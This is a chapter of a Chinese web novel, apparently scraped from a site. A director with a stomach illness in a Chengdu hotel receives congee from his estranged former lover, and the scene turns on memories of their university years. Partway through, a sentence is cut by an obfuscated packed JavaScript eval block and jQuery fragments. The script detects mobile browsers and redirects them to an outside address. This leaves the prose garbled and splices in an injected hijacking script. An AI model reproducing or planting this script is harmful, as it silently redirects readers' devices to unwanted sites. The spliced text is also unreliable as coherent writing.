陈声和回到酒店时，深夜的钟声正好敲过十二点。


    电梯镜面照出他微微发红的眼角，他条件反射用指节蹭了蹭眼角。


    都怪椒香苑后厨那油烟，也太呛人了。


    他试图这么说服自己，可李霄川那家伙的声音就跟长了脚似的，在他耳边来回溜达，赶都赶不走。


    是……那人接过老师傅递来的毛肚时，指节上那道月牙形的旧伤在灯光下一闪而过，嘴角还挂着那副有点欠的笑：“比五年前淡多了。”


    淡多了？


    毛肚淡多了？


    是疤，还是……别的什么？


    “叮！”电梯到层的提示音猛地把他拽了回来。


    走廊尽头的逃生窗不知被哪位房客推开了一条缝，夜风一下灌进来，裹挟着成都特有的麻辣香气，劈头盖脸地砸了他一身。


    这味道……忽然让他想起好多年前，李霄川排练完趴在他宿舍床上，鼻尖蹭着他脖子小声嘟囔。


    “你身上老有股潮汕的海风味儿，闻着闻着我就饿了，想吃海鲜面。”


    可现在呢？


    他忍不住低头闻了闻衬衫袖口，哪还有什么海风，只剩下一身仿佛腌入味了的花椒香。


    胃里就在这时猛地一抽，一阵尖锐的刺痛传上来。


    推开房门，屋里一片黑，只有几台笔记本屏幕幽幽亮着。


    他坐下，把今天拍的素材往回拉，画面最终停在李霄川调整辣椒罐的特写上。


    那只他闭着眼睛都能描摹的手正将玻璃罐向右旋转，他连自己都没有注意过的生活习惯，如今被另外一个人记住。


    李霄川无名指内侧那道浅疤，在4K画质下清晰得连皮肤纹理都看得清。


    可那上面空荡荡的，少了点什么。


    “保一条。”


    陈声和对着空荡荡的房间轻声说，说完自己都愣了一下。就像他袖口那颗永远也系不上的纽扣，五年过去了，还是甩不掉。


    桌上林瑶打包的麻婆豆腐早就凉透了，凝固的红油在灯光下看着像一层蜡，腻得慌。


    一天只吃了个苹果，他机械地挖了一勺送进嘴里，凉透的辛辣味在舌尖炸开的刹那，胃部的绞痛更凶了。


    手机屏幕就在这时突然亮起，母亲的消息跳出屏幕：


    【阿和，嘉雯过两天到成都出差，你记着联系一下人家，带她到处逛逛】


    下面跟着一个陌生的电话号码


    那个号码在黑暗里亮得像个倒计时炸弹，他最终还是按下了删除，清除了聊天记录。


    可手指就像不是自己的，不受控制地滑向了通讯录的最底端。


    “会喷火的熊猫”这个幼稚到家的备注，就那样安安静静地躺在那里。胃里的疼再次窜了上来，冷汗唰地浸湿了后背。


    突然间，好像又听见大学医务室阿姨唠唠叨叨的声音：“胃病最怕情绪波动，你们这些年轻人啊，就是不把身体当回事……”


    他疼得蜷在转椅上，额头抵着冰凉的桌面。怀里紧紧抱着的一台老富士相机，硬生生硌在肋骨那儿。


    里面存着今天偷拍的李霄川的侧影。


    这情景，简直和大二那年一模一样。他躲在琴房角落，也是用这台相机，偷偷拍下那个在阳光下压腿的少年。


    “陈导？”门外传来林瑶的声音，听着有点飘忽，“您睡了吗？”


    他想应一声，可喉咙干得发紧，一个字都挤不出来。


    剪辑页面的白光刺得他眼睛生疼。胃里像是被人狠狠攥住拧了一把，他皱着眉，伸手去够桌上的保温杯。


    热水灌下去，烫得舌尖发麻，可胃里的绞痛还是老样子。


    缓了好一会儿，他才勉强撑着去开门。


    林瑶抱着电脑进来，一看他脸色就明白了：“又胃疼了？”


    没等陈声和说话，她已经默默给他添了热水，翻出胃药放在旁边，然后坐到办公桌边，安安静静地开始对今天的拍摄素材。


    时间一点点过去，陈声和迷迷糊糊中听见有人叫他。


    “陈导，这段还要再调吗？”林瑶揉着发困的眼睛问。


    “你先回去休息吧。”陈声和看了眼时间，已经快凌晨两点了，声音绷得有点紧，“我再过一遍。”


    林瑶张了张嘴，最后只是点点头。


    房门轻轻关上的那一瞬，陈声和猛地弯下腰，额头重重抵在冰凉的桌沿上。


    胃里像塞了块烧红的铁，药吃了也不管用，灼痛一阵阵涌上来，眼前都开始发白。


    他颤抖着伸手去够药瓶，却不小心碰倒了相机，那台老富士“砰”地一声摔在地上，镜头盖咕噜噜滚出去好远。


    陈声和盯着它，耳边响起李霄川送他这台相机时说的话：“以后你拍戏，我演戏，绝配。”


    是啊，现在他确实在拍戏，李霄川也还在演戏。只是他们之间，早就谈不上“配”了。


    又一阵剧烈的胃痉挛袭来，他蜷缩着滑落到地毯上，膝盖死死抵住胃部。冰凉的汗珠顺着鬓角滚落，在浅色地毯上晕开一片暗色。


    不知过了多久，门外传来脚步声。很轻，停在他房门口，又走开。


    陈声和以为是幻觉，直到那脚步声再次折返。这回停得更久，接着是迟疑的敲门声。


    “叩、叩叩”，两短一长，像是只属于他们之间的暗号。


    他躺在不那么干净的地毯上，愣了好一会儿才反应过来。


    这个节奏……是大学时他总戴着耳机剪片子，李霄川就这样敲琴房的门，后来干脆给他录了个专属的敲门声。


    胃痛突然尖锐起来，陈声和咬着牙没出声。


    门外的人等了一会儿，似乎耗尽了耐心，才终于开口：“……东西放门口了。”


    是李霄川的声音。低低的，带着点成都话的尾音，和记忆里一样温柔。


    脚步声再次远去，陈声和却觉得连呼吸都扯着胃疼。他数了三十下，才踉跄着爬起来，拉开门。


    一个保温桶静静放在地毯上。


    保温桶是普通的银色，把手上缠着一圈医用胶布。陈声和盯着那圈白色，手指微微发颤。


    大学时李霄川练功受伤，总这样缠绷带：“多缠几圈，省得你沾水。”


    桶里是小米粥，熬得糯糯的，上面浮着几粒茯苓。旁边压了张药方，字迹被水汽晕开些，但“忌生冷”三个字写得特别用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004133|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力，几乎要戳破纸。


    陈声和恍惚间又想起他们第一次约会，他胃疼发作，李霄川跑了好几条街去买潮汕砂锅粥。


    回来时手烫得通红，还笑嘻嘻说：“你们广东人真麻烦，喝个粥都要讲镬气。”


    现在这碗粥，保温桶屏幕上显示温度刚好55度，当年李霄川拿温度计测过好多次，说这是“广仔能接受的最高热度”。


    他舀了一勺送进嘴里，淡淡甜味在舌尖漫开，居然还放了冰糖。


    桌上的手机震了几下，是陌生号发来的短信：【药方第三味改成了陈皮，不会太苦】


    陈声和盯着屏幕，手指悬在键盘上，他知道是李霄川，最后只回了一个：【谢谢】


    三分钟后，手机又亮了：【你助理在朋友圈问哪有24小时药房】


    【猜的】


    陈声和看着那几个字，忽然笑出声来，笑得眼眶发酸，笑得视线都模糊了。


    李霄川还是老样子，连关心人都要找个借口。


    他点开林瑶的朋友圈，最新一条是三天前的聚餐照片，哪有什么找药房的内容。


    ……


    第二天早上，林瑶来收保温桶的时候，发现里面已经空了。


    她一愣，心里直嘀咕：陈导居然全吃完了？上次制片主任特意排队买的艇仔粥，他也只喝了两口就推开了啊。


    话刚到嘴边，她突然刹住了，她看见陈声和的手指正轻轻摩挲着保温桶底。那里贴着一张黄色的便利贴，上面用简笔画了个歪歪扭扭的辣椒，旁边还有片小小的茶叶。


    “这……”林瑶一时不知该说什么。


    “扔了吧。”陈声和说着，手上却小心翼翼地揭下那张便利贴，轻轻夹进了手边的剧本里。


    这个保温桶，还是当年李霄川总受伤住院时，陈声和特意买的。没想到隔了这么久，居然又出现在他面前。


    林瑶抱着保温桶走出大厅，听见前台两个小姑娘正用四川话低声聊天：“昨晚302房导演的粥，是川剧院李老师送来的哈。”


    “我晓得！我们看监控，他在门口站了半个多小时才敲门。戴着口罩都遮不住那个气质，我还偷偷要了签名合影嘞！”


    林瑶想起昨晚李霄川打来的那通电话，轻轻叹了口气。


    客房里，陈声和在电脑前枯坐了半个钟头，屏幕上密密麻麻的拍摄计划一个字也没看进去。他这才梦游似的挪进洗手间。


    镜子里的脸没什么血色，眼下泛着淡淡的青黑。他伸出手，指尖抵在冰凉的镜面上，正对着自己胃的位置。


    恍然间，他似乎又闻到那人身上淡淡的药膏味，混着粥米的热气，听见一句带着笑意的“烫，我给你吹吹”，那时候他难受的连一口热粥都咽不下。


    而昨晚，那个曾经会细心替他吹凉每一勺粥的人，就站在门外。他们之间只隔着一扇门，他却连呼吸都屏住了，不敢发出半点动静。


    镜子里的人扯了扯嘴角，笑得比哭还难看。通红的眼眶再也盛不住，眼泪一颗接一颗砸在洗手台上。


    “真疼啊……”


    他低声说，分不清是胃在灼烧，还是心口那道多年未愈的旧伤，又在隐隐作痛。